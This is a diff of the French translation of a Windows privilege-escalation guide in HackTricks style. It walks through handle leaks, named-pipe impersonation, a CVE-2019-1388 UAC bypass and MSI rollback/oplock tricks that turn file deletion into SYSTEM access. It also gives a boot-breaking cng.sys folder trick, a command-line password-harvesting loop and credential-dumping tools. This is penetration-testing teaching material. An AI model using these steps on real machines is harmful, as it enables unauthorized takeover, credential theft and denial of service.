 Invoke-SessionGopher -Thorough
@@ -1295,30 +1295,30 @@ Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
 ```
 ## Leaked Handlers
 
-Imaginez qu'**un processus s'exécutant en tant que SYSTEM ouvre un nouveau processus** (`OpenProcess()`) avec **un accès complet**. Le même processus **crée également un nouveau processus** (`CreateProcess()`) **avec de faibles privilèges mais héritant de tous les handles ouverts du processus principal**.\
-Ensuite, si vous avez **un accès complet au processus faiblement privilégié**, vous pouvez récupérer le **handle ouvert vers le processus privilégié créé** avec `OpenProcess()` et **injecter un shellcode**.\
-[Read this example for more information about **how to detect and exploit this vulnerability**.](leaked-handle-exploitation.md)\
-[Read this **other post for a more complete explanation on how to test and abuse more open handlers of processes and threads inherited with different levels of permissions (not only full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
+Imaginez qu'**un processus tournant en tant que SYSTEM ouvre un nouveau processus** (`OpenProcess()`) avec **un accès complet**. Le même processus **crée également un nouveau processus** (`CreateProcess()`) **avec de faibles privilèges mais héritant de tous les open handles du processus principal**.\
+Alors, si vous disposez d'**un accès complet au processus à faibles privilèges**, vous pouvez récupérer **l'open handle vers le processus privilégié créé** avec `OpenProcess()` et **injecter un shellcode**.\
+[Lisez cet exemple pour plus d'informations sur **comment détecter et exploiter cette vulnérabilité**.](leaked-handle-exploitation.md)\
+[Lisez cet **autre post pour une explication plus complète sur la façon de tester et d'abuser d'autres open handlers de processus et de threads hérités avec différents niveaux d'autorisations (pas seulement full access)**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/).
 
 ## Named Pipe Client Impersonation
 
 Les segments de mémoire partagée, appelés **pipes**, permettent la communication entre processus et le transfert de données.
 
-Windows fournit une fonctionnalité appelée **Named Pipes**, permettant à des processus non liés de partager des données, même sur des réseaux différents. Cela ressemble à une architecture client/serveur, avec des rôles définis comme **named pipe server** et **named pipe client**.
+Windows propose une fonctionnalité appelée **Named Pipes**, permettant à des processus non liés de partager des données, y compris à travers des réseaux différents. Cela ressemble à une architecture client/serveur, avec des rôles définis comme **named pipe server** et **named pipe client**.
 
-Lorsqu'un **client** envoie des données via un pipe, le **serveur** qui a créé le pipe a la capacité de **prendre l'identité** du **client**, à condition qu'il dispose des droits **SeImpersonate** nécessaires. Identifier un **processus privilégié** qui communique via un pipe que vous pouvez imiter offre une opportunité d'**obtenir des privilèges supérieurs** en adoptant l'identité de ce processus lorsqu'il interagit avec le pipe que vous avez établi. Pour des instructions sur l'exécution d'une telle attaque, des guides utiles se trouvent [**ici**](named-pipe-client-impersonation.md) et [**ici**](#from-high-integrity-to-system).
+Lorsque des données sont envoyées via un pipe par un **client**, le **server** qui a créé le pipe a la capacité de **prendre l'identité** du **client**, à condition qu'il dispose des droits **SeImpersonate** nécessaires. Identifier un **processus privilégié** qui communique via un pipe que vous pouvez imiter offre l'opportunité de **gagner des privilèges supérieurs** en adoptant l'identité de ce processus lorsqu'il interagit avec le pipe que vous avez établi. Pour des instructions sur l'exécution d'une telle attaque, des guides utiles se trouvent [**ici**](named-pipe-client-impersonation.md) et [**ici**](#from-high-integrity-to-system).
 
-De plus, l'outil suivant permet d'**intercepter une communication de named pipe avec un outil comme burp :** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **et cet outil permet de lister et voir tous les pipes pour trouver des privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
+De plus, l'outil suivant permet de **intercepter une communication de named pipe avec un outil comme burp :** [**https://github.com/gabriel-sztejnworcel/pipe-intercept**](https://github.com/gabriel-sztejnworcel/pipe-intercept) **et cet outil permet de lister et voir tous les pipes pour trouver des privescs** [**https://github.com/cyberark/PipeViewer**](https://github.com/cyberark/PipeViewer)
 
 ## Divers
 
 ### Extensions de fichiers pouvant exécuter du code sous Windows
 
-Consultez la page **https://filesec.io/**
+Consultez la page **[https://filesec.io/](https://filesec.io/)**
 
-### **Surveiller les lignes de commande pour les mots de passe**
+### **Surveillance des lignes de commande pour les mots de passe**
 
-Lorsque vous obtenez un shell en tant qu'utilisateur, il peut y avoir des tâches planifiées ou d'autres processus exécutés qui **passent des identifiants sur la ligne de commande**. Le script ci-dessous capture les lignes de commande des processus toutes les deux secondes et compare l'état actuel avec l'état précédent, affichant les différences éventuelles.
+Lorsqu'on obtient un shell en tant qu'utilisateur, il peut y avoir des tâches planifiées ou d'autres processus exécutés qui transmettent des identifiants via la ligne de commande. Le script ci‑dessous capture les lignes de commande des processus toutes les deux secondes et compare l'état actuel avec l'état précédent, affichant toute différence.
 ```bash
 while($true)
 {
@@ -1328,15 +1328,15 @@ $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
 Compare-Object -ReferenceObject $process -DifferenceObject $process2
 }
 ```
-## Voler des mots de passe depuis des processus
+## Stealing passwords from processes
 
-## De Low Priv User à NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass
+## From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass
 
-Si vous avez accès à l'interface graphique (via console ou RDP) et que UAC est activé, dans certaines versions de Microsoft Windows il est possible d'exécuter un terminal ou tout autre processus tel que "NT\AUTHORITY SYSTEM" depuis un utilisateur non privilégié.
+Si vous avez accès à l'interface graphique (via la console ou RDP) et que UAC est activé, dans certaines versions de Microsoft Windows il est possible d'exécuter un terminal ou tout autre processus tel que "NT\AUTHORITY SYSTEM" depuis un utilisateur non privilégié.
 
-Cela permet d'escalader les privilèges et de contourner UAC en même temps avec la même vulnérabilité. De plus, il n'est pas nécessaire d'installer quoi que ce soit et le binaire utilisé pendant le processus est signé et délivré par Microsoft.
+Cela permet d'escalader les privilèges et de bypass UAC en même temps avec la même vulnérabilité. De plus, il n'est pas nécessaire d'installer quoi que ce soit et le binaire utilisé pendant le processus est signé et émis par Microsoft.
 
-Certains des systèmes affectés sont les suivants:
+Certains des systèmes affectés sont les suivants :
 ```
 SERVER
 ======
@@ -1358,7 +1358,7 @@ Windows 10 1607	14393	** link OPENED AS SYSTEM **
 Windows 10 1703	15063	link NOT opened
 Windows 10 1709	16299	link NOT opened
 ```
-Pour exploiter cette vulnérabilité, il faut effectuer les étapes suivantes :
+Pour exploiter cette vulnérabilité, il est nécessaire d'effectuer les étapes suivantes :
 ```
 1) Right click on the HHUPD.EXE file and run it as Administrator.
 
@@ -1376,20 +1376,16 @@ Pour exploiter cette vulnérabilité, il faut effectuer les étapes suivantes :
 
 8) Remember to cancel setup and the UAC prompt to return to your desktop.
 ```
-You have all the necessary files and information in the following GitHub repository:
-
-https://github.com/jas502n/CVE-2019-1388
-
 ## From Administrator Medium to High Integrity Level / UAC Bypass
 
-Lisez ceci pour **apprendre sur les Integrity Levels** :
+Read this to **learn about Integrity Levels**:
 
 
 {{#ref}}
 integrity-levels.md
 {{#endref}}
 
-Puis **lisez ceci pour comprendre UAC et les UAC bypasses :**
+Then **read this to learn about UAC and UAC bypasses:**
 
 
 {{#ref}}
@@ -1398,9 +1394,9 @@ Puis **lisez ceci pour comprendre UAC et les UAC bypasses :**
 
 ## From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP
 
-La technique décrite [**in this blog post**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) avec un exploit code [**available here**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs).
+La technique décrite [**dans ce billet de blog**](https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks) avec un code d'exploit [**disponible ici**](https://github.com/thezdi/PoC/tree/main/FilesystemEoPs).
 
-L'attaque consiste essentiellement à abuser de la feature de rollback de Windows Installer pour remplacer des fichiers légitimes par des fichiers malveillants pendant le processus de désinstallation. Pour cela, l'attaquant doit créer un **malicious MSI installer** qui sera utilisé pour détourner le dossier `C:\Config.Msi`, qui sera ensuite utilisé par le Windows Installer pour stocker les fichiers de rollback pendant la désinstallation d'autres packages MSI où les fichiers de rollback auront été modifiés pour contenir la payload malveillante.
+L'attaque consiste essentiellement à abuser de la fonctionnalité de rollback de Windows Installer pour remplacer des fichiers légitimes par des fichiers malveillants durant le processus de désinstallation. Pour cela, l'attaquant doit créer un **malicious MSI installer** qui sera utilisé pour détourner le dossier `C:\Config.Msi`, lequel sera ensuite utilisé par Windows Installer pour stocker les fichiers de rollback pendant la désinstallation d'autres packages MSI, où les fichiers de rollback auraient été modifiés pour contenir le payload malveillant.
 
 La technique résumée est la suivante :
 
@@ -1430,7 +1426,7 @@ La technique résumée est la suivante :
 - You (attacker) delete the `.rbf` file manually.
 - Now **`C:\Config.Msi` is empty**, ready to be hijacked.
 
-> À ce stade, **trigger the SYSTEM-level arbitrary folder delete vulnerability** to delete `C:\Config.Msi`.
+> At this point, **trigger the SYSTEM-level arbitrary folder delete vulnerability** to delete `C:\Config.Msi`.
 
 2. **Stage 2 – Replacing Rollback Scripts with Malicious Ones**
 
@@ -1458,7 +1454,7 @@ La technique résumée est la suivante :
 - The Windows Installer **reapplies strong ACLs** to `C:\Config.Msi`.
 - But since you still have a handle with `WRITE_DAC`, you can **reapply weak ACLs** again.
 
-> Les ACLs sont **seulement appliquées à l'ouverture du handle**, donc vous pouvez toujours écrire dans le dossier.
+> ACLs are **only enforced on handle open**, so you can still write to the folder.
 
 - Step 11: Drop Fake `.rbs` and `.rbf`
 - Overwrite the `.rbs` file with a **fake rollback script** that tells Windows to:
@@ -1483,41 +1479,41 @@ La technique résumée est la suivante :
 
 ### From Arbitrary File Delete/Move/Rename to SYSTEM EoP
 
-La principale technique de rollback MSI (la précédente) suppose que vous pouvez supprimer un **dossier entier** (par exemple `C:\Config.Msi`). Mais que faire si votre vulnérabilité ne permet que la **suppression arbitraire de fichiers** ?
+The main MSI rollback technique (the previous one) assumes you can delete an **entire folder** (e.g., `C:\Config.Msi`). But what if your vulnerability only allows **arbitrary file deletion** ?
 
-Vous pouvez exploiter les internals NTFS : chaque dossier a un flux de données alternatif caché appelé :
+You could exploit **NTFS internals**: every folder has a hidden alternate data stream called:
 ```
 C:\SomeFolder::$INDEX_ALLOCATION
 ```
-Ce stream stocke les **métadonnées d'index** du dossier.
+Ce flux stocke les **métadonnées d'index** du dossier.
 
-Donc, si vous **supprimez le stream `::$INDEX_ALLOCATION`** d'un dossier, NTFS **supprime entièrement le dossier** du système de fichiers.
+Donc, si vous **supprimez le flux `::$INDEX_ALLOCATION`** d'un dossier, NTFS **supprime le dossier entier** du système de fichiers.
 
-Vous pouvez faire cela en utilisant des API standard de suppression de fichiers comme :
+Vous pouvez le faire en utilisant des API standard de suppression de fichiers telles que :
 ```c
 DeleteFileW(L"C:\\Config.Msi::$INDEX_ALLOCATION");
 ```
-> Même si vous appelez une API de suppression de *fichier*, elle **supprime le dossier lui-même**.
+> Même si vous appelez une *file* delete API, elle **supprime le folder lui-même**.
 
-### De la suppression du contenu d'un dossier à SYSTEM EoP
-Et si votre primitive ne vous permettait pas de supprimer des fichiers/dossiers arbitraires, mais qu'elle **autorise la suppression du *contenu* d'un dossier contrôlé par l'attaquant** ?
+### De Folder Contents Delete à SYSTEM EoP
+Et si votre primitive ne vous permet pas de supprimer des files/folders arbitraires, mais qu'elle **permet la suppression du *contents* d'un folder contrôlé par l'attaquant** ?
 
-1. Étape 1 : Préparer un dossier leurre et un fichier
-- Créer : `C:\temp\folder1`
-- À l'intérieur : `C:\temp\folder1\file1.txt`
+1. Étape 1 : Préparez un folder appât et un file
+- Create: `C:\temp\folder1`
+- Inside it: `C:\temp\folder1\file1.txt`
 
-2. Étape 2 : Placer un **oplock** sur `file1.txt`
-- L'oplock **met l'exécution en pause** lorsqu'un processus privilégié essaie de supprimer `file1.txt`.
+2. Étape 2 : Placez un **oplock** sur `file1.txt`
+- L'oplock **suspend l'exécution** lorsqu'un processus privilégié tente de supprimer `file1.txt`.
 ```c
 // pseudo-code
 RequestOplock("C:\\temp\\folder1\\file1.txt");
 WaitForDeleteToTriggerOplock();
 ```
-3. Étape 3 : Déclencher le processus SYSTEM (e.g., `SilentCleanup`)
-- Ce processus parcourt les dossiers (e.g., `%TEMP%`) et tente de supprimer leur contenu.
-- Lorsqu'il atteint `file1.txt`, le **oplock se déclenche** et transmet le contrôle à votre callback.
+3. Étape 3 : Déclencher le processus SYSTEM (p.ex., `SilentCleanup`)
+- Ce processus parcourt les dossiers (p.ex., `%TEMP%`) et tente de supprimer leur contenu.
+- Lorsqu'il atteint `file1.txt`, l'**oplock se déclenche** et donne le contrôle à votre callback.
 
-4. Étape 4 : Dans le callback de l'oplock – rediriger la suppression
+4. Étape 4 : À l'intérieur du callback de l'oplock – rediriger la suppression
 
 - Option A : Déplacer `file1.txt` ailleurs
 - Cela vide `folder1` sans rompre l'oplock.
@@ -1533,47 +1529,47 @@ mklink /J C:\temp\folder1 \\?\GLOBALROOT\RPC Control
 # Make file1.txt point to a sensitive folder stream
 CreateSymlink("\\RPC Control\\file1.txt", "C:\\Config.Msi::$INDEX_ALLOCATION")
 ```
-> Ceci cible le flux interne NTFS qui stocke les métadonnées du dossier — le supprimer supprime le dossier.
+> Cela cible le flux interne NTFS qui stocke les métadonnées du dossier — le supprimer supprime le dossier.
 
-5. Étape 5 : Libérer l'oplock
+5. Étape 5 : Libération de l'oplock
 - Le processus SYSTEM continue et tente de supprimer `file1.txt`.
-- Mais maintenant, à cause de la junction + symlink, il supprime en réalité :
+- Mais maintenant, à cause de la junction + symlink, il supprime en fait :
 ```
 C:\Config.Msi::$INDEX_ALLOCATION
 ```
 **Résultat**: `C:\Config.Msi` est supprimé par SYSTEM.
 
-### From Arbitrary Folder Create to Permanent DoS
+### De la création arbitraire de dossiers à un DoS permanent
 
-Exploitez une primitive qui vous permet de **create an arbitrary folder as SYSTEM/admin** — même si **vous ne pouvez pas écrire de fichiers** ou **définir des permissions faibles**.
+Exploitez une primitive qui vous permet de **créer un dossier arbitraire en tant que SYSTEM/admin** — même si **vous ne pouvez pas écrire de fichiers** ou **définir des permissions faibles**.
 
-Créez un **dossier** (pas un fichier) portant le nom d'un **critical Windows driver**, par ex.:
+Créez un **dossier** (pas un fichier) portant le nom d'un **pilote Windows critique**, par exemple :
 ```
 C:\Windows\System32\cng.sys
 ```
-- Ce chemin correspond normalement au pilote en mode noyau `cng.sys`.
+- Ce chemin correspond normalement au `cng.sys` kernel-mode driver.
 - Si vous le **pré-créez en tant que dossier**, Windows ne parvient pas à charger le pilote réel au démarrage.
-- Ensuite, Windows tente de charger `cng.sys` pendant le boot.
-- Il voit le dossier, **ne parvient pas à charger le pilote réel**, et **provoque un crash ou interrompt le démarrage**.
-- Il n'existe **aucun mécanisme de secours**, et **aucune récupération** sans intervention externe (p. ex., réparation du démarrage ou accès au disque).
+- Ensuite, Windows tente de charger `cng.sys` pendant le démarrage.
+- Il voit le dossier, **échoue à résoudre le pilote réel**, et **crash ou bloque le démarrage**.
+- Il n’y a **pas de mécanisme de secours**, et **aucune récupération** sans intervention externe (e.g., réparation du démarrage ou accès au disque).
 
 
 ## **De High Integrity à SYSTEM**
 
 ### **Nouveau service**
 
-Si vous exécutez déjà un processus High Integrity, le **chemin vers SYSTEM** peut être simple : il suffit de **créer et exécuter un nouveau service** :
+Si vous exécutez déjà un processus High Integrity, le **chemin vers SYSTEM** peut être simple en **créant et en exécutant un nouveau service** :
 ```
 sc create newservicename binPath= "C:\windows\system32\notepad.exe"
 sc start newservicename
 ```
 > [!TIP]
-> Lorsque vous créez un service binaire, assurez-vous que c'est un service valide ou que le binaire effectue les actions nécessaires suffisamment rapidement car il sera tué au bout de 20s s'il n'est pas un service valide.
+> Lors de la création d'un binaire de service, assurez-vous que c'est un service valide ou que le binaire effectue les actions nécessaires rapidement car il sera tué au bout de 20s s'il n'est pas un service valide.
 
 ### AlwaysInstallElevated
 
-Depuis un processus High Integrity vous pouvez essayer d'**activer les entrées de registre AlwaysInstallElevated** et **installer** un reverse shell en utilisant un wrapper _**.msi**_.\
-[More information about the registry keys involved and how to install a _.msi_ package here.](#alwaysinstallelevated)
+Depuis un processus High Integrity, vous pouvez essayer d'**activer les entrées de registre AlwaysInstallElevated** et **installer** un reverse shell en utilisant un wrapper _**.msi**_.\
+[Plus d'informations sur les clés de registre impliquées et comment installer un package _.msi_ ici.](#alwaysinstallelevated)
 
 ### High + SeImpersonate privilege to System
 
@@ -1581,19 +1577,19 @@ Depuis un processus High Integrity vous pouvez essayer d'**activer les entrées
 
 ### From SeDebug + SeImpersonate to Full Token privileges
 
-Si vous avez ces privilèges de token (probablement trouvés dans un processus déjà High Integrity), vous serez capable d'**ouvrir presque n'importe quel process** (pas les processus protégés) avec le privilège SeDebug, **copier le token** du process et créer un **process arbitraire avec ce token**.\
-L'usage de cette technique consiste généralement à **sélectionner un process tournant en tant que SYSTEM avec tous les privilèges de token** (_oui, vous pouvez trouver des processus SYSTEM sans tous les privilèges de token_).\
+Si vous avez ces privilèges de token (probablement trouvés dans un processus déjà High Integrity), vous pourrez **ouvrir presque n'importe quel processus** (pas les processus protégés) avec le privilège SeDebug, **copier le token** du processus, et créer un **processus arbitraire avec ce token**.\
+L'utilisation de cette technique consiste généralement à **sélectionner un processus s'exécutant en tant que SYSTEM avec tous les privilèges de token** (_oui, vous pouvez trouver des processus SYSTEM sans tous les privilèges de token_).\
 **Vous pouvez trouver un** [**exemple de code exécutant la technique proposée ici**](sedebug-+-seimpersonate-copy-token.md)**.**
 
 ### **Named Pipes**
 
-Cette technique est utilisée par meterpreter pour escalader dans `getsystem`. La technique consiste à **créer un pipe puis créer/abuser d'un service pour écrire dans ce pipe**. Ensuite, le **serveur** qui a créé le pipe en utilisant le privilège **`SeImpersonate`** pourra **s'imposer le token** du client du pipe (le service) obtenant les privilèges SYSTEM.\
-Si vous voulez [**en savoir plus sur les name pipes vous devriez lire ceci**](#named-pipe-client-impersonation).\
-Si vous voulez lire un exemple de [**comment passer de high integrity à System en utilisant des name pipes vous devriez lire ceci**](from-high-integrity-to-system-with-name-pipes.md).
+Cette technique est utilisée par meterpreter pour escalader dans `getsystem`. La technique consiste à **créer un pipe puis créer/abuser d'un service pour écrire dans ce pipe**. Ensuite, le **server** qui a créé le pipe en utilisant le privilège **`SeImpersonate`** pourra **s'imposer comme le token** du client du pipe (le service) obtenant ainsi les privilèges SYSTEM.\
+Si vous voulez [**en savoir plus sur les named pipes vous devriez lire ceci**](#named-pipe-client-impersonation).\
+Si vous voulez lire un exemple de [**comment passer de High Integrity à System en utilisant des name pipes vous devriez lire ceci**](from-high-integrity-to-system-with-name-pipes.md).
 
 ### Dll Hijacking
 
-Si vous parvenez à **hijacker une dll** chargée par un **process** s'exécutant en **SYSTEM**, vous pourrez exécuter du code arbitraire avec ces permissions. Par conséquent Dll Hijacking est également utile pour ce type d'escalade de privilèges, et, de plus, il est bien **plus facile à réaliser depuis un processus high integrity** car il disposera des **permissions d'écriture** sur les dossiers utilisés pour charger les dlls.\
+Si vous parvenez à **hijacker une dll** chargée par un **processus** s'exécutant en **SYSTEM**, vous serez capable d'exécuter du code arbitraire avec ces permissions. Par conséquent, Dll Hijacking est aussi utile pour ce type d'escalade de privilèges, et, de plus, il est bien **plus facile à réaliser depuis un processus high integrity** car il aura des **permissions d'écriture** sur les dossiers utilisés pour charger les dlls.\
 **Vous pouvez** [**en apprendre plus sur Dll hijacking ici**](dll-hijacking/index.html)**.**
 
 ### **From Administrator or Network Service to System**
@@ -1606,51 +1602,51 @@ Si vous parvenez à **hijacker une dll** chargée par un **process** s'exécutan
 
 **Read:** [**https://github.com/itm4n/FullPowers**](https://github.com/itm4n/FullPowers)
 
-## More help
+## Plus d'aide
 
 [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries)
 
-## Useful tools
+## Outils utiles
 
 **Best tool to look for Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
 
 **PS**
 
 [**PrivescCheck**](https://github.com/itm4n/PrivescCheck)\
-[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Vérifie les misconfigurations et les fichiers sensibles (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Détecté.**\
-[**JAWS**](https://github.com/411Hall/JAWS) **-- Vérifie certaines misconfigurations possibles et collecte des infos (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\
-[**privesc** ](https://github.com/enjoiz/Privesc)**-- Vérifie les misconfigurations**\
-[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Extrait les informations de sessions sauvegardées de PuTTY, WinSCP, SuperPuTTY, FileZilla et RDP. Utiliser -Thorough en local.**\
-[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Extrait les identifiants du Credential Manager. Détecté.**\
-[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Spray les mots de passe collectés à travers le domaine**\
-[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh est un spoofer ADIDNS/LLMNR/mDNS/NBNS et un outil man-in-the-middle en PowerShell.**\
-[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Énumération basique Windows pour privesc**\
-[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Recherche des vulnérabilités privesc connues (DÉPRÉCIÉ en faveur de Watson)\
-[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Vérifications locales **(Nécessite droits Admin)**
+[**PowerSploit-Privesc(PowerUP)**](https://github.com/PowerShellMafia/PowerSploit) **-- Vérifie les mauvaises configurations et les fichiers sensibles (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Détecté.**\
+[**JAWS**](https://github.com/411Hall/JAWS) **-- Vérifie certaines potentielles mauvaises configurations et collecte des infos (**[**check here**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\
+[**privesc** ](https://github.com/enjoiz/Privesc)**-- Vérifie les mauvaises configurations**\
+[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Extrait les informations de sessions enregistrées de PuTTY, WinSCP, SuperPuTTY, FileZilla et RDP. Utiliser -Thorough en local.**\
+[**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Extrait les credentials depuis Credential Manager. Détecté.**\
+[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Spraye les mots de passe collectés sur le domaine**\
+[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Inveigh est un outil PowerShell de spoofing ADIDNS/LLMNR/mDNS/NBNS et de man-in-the-middle.**\
+[**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Énumération Windows basique pour privesc**\
+[~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Recherche des vulnérabilités privesc connues (DÉPRÉCIÉ pour Watson)\
+[~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Checks locaux **(Nécessite droits Admin)**
 
 **Exe**
 
-[**Watson**](https://github.com/rasta-mouse/Watson) -- Recherche des vulnérabilités privesc connues (doit être compilé avec VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
-[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Énumère l'hôte à la recherche de misconfigurations (plutôt un outil de collecte d'infos que de privesc) (doit être compilé) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
-[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Extrait les identifiants de nombreux logiciels (exe précompilé sur github)**\
+[**Watson**](https://github.com/rasta-mouse/Watson) -- Recherche les vulnérabilités privesc connues (doit être compilé avec VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
+[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Énumère l'hôte à la recherche de mauvaises configurations (plutôt un outil de collecte d'infos que de privesc) (doit être compilé) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
+[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Extrait les credentials de nombreux logiciels (exe précompilé sur GitHub)**\
 [**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port de PowerUp en C#**\
-[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Vérifie les misconfigurations (exécutable précompilé sur github). Non recommandé. Ne fonctionne pas bien sous Win10.\
-[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Vérifie les possibles misconfigurations (exe depuis python). Non recommandé. Ne fonctionne pas bien sous Win10.
+[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Vérifie les mauvaises configurations (exécutable précompilé sur GitHub). Non recommandé. Ne fonctionne pas bien sous Win10.\
+[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Vérifie les possibles mauvaises configurations (exe depuis python). Non recommandé. Ne fonctionne pas bien sous Win10.
 
 **Bat**
 
-[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Outil créé d'après ce post (n'a pas besoin d'accesschk pour fonctionner correctement mais peut l'utiliser).
+[**winPEASbat** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)-- Outil créé à partir de ce post (il n'a pas besoin de accesschk pour fonctionner correctement mais il peut l'utiliser).
 
 **Local**
 
-[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Lit la sortie de **systeminfo** et recommande des exploits fonctionnels (python local)\
-[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Lit la sortie de **systeminfo** et recommande des exploits fonctionnels (python local)
+[**Windows-Exploit-Suggester**](https://github.com/GDSSecurity/Windows-Exploit-Suggester) -- Lit la sortie de **systeminfo** et recommande des exploits exploitables (python local)\
+[**Windows Exploit Suggester Next Generation**](https://github.com/bitsadmin/wesng) -- Lit la sortie de **systeminfo** et recommande des exploits exploitables (python local)
 
 **Meterpreter**
 
 _multi/recon/local_exploit_suggestor_
 
-Vous devez compiler le projet en utilisant la version correcte de .NET ([see this](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Pour voir la version de .NET installée sur la machine victime, vous pouvez faire :
+Vous devez compiler le projet en utilisant la bonne version de .NET ([voir ceci](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Pour voir la version installée de .NET sur la machine victime vous pouvez faire :
 ```
 C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line
 ```
@@ -1671,8 +1667,8 @@ C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the
 - [http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html](http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html)
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md#antivirus--detections)
 
-- [HTB Reaper : Format-string leak + stack BOF → VirtualAlloc ROP (RCE) et kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
+- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
 
-- [Check Point Research – À la poursuite du Silver Fox : Chat et souris dans les ombres du kernel](https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/)
+- [Check Point Research – Chasing the Silver Fox: Cat & Mouse in Kernel Shadows](https://research.checkpoint.com/2025/silver-fox-apt-vulnerable-drivers/)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md
index 2449d2acf..7b980ff42 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md
@@ -1,26 +1,26 @@
-# Abuser les Auto-Updaters d'entreprise et l'IPC privilégié (p. ex., Netskope stAgentSvc)
+# Abusing Enterprise Auto-Updaters and Privileged IPC (e.g., Netskope stAgentSvc)
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Cette page généralise une classe de chaînes d'escalade de privilèges locales Windows trouvées dans les agents endpoint d'entreprise et les updaters qui exposent une surface IPC peu contraignante et un flux de mise à jour privilégié. Un exemple représentatif est Netskope Client for Windows < R129 (CVE-2025-0309), où un utilisateur peu privilégié peut forcer l'inscription sur un serveur contrôlé par l'attaquant puis fournir un MSI malveillant que le service SYSTEM installe.
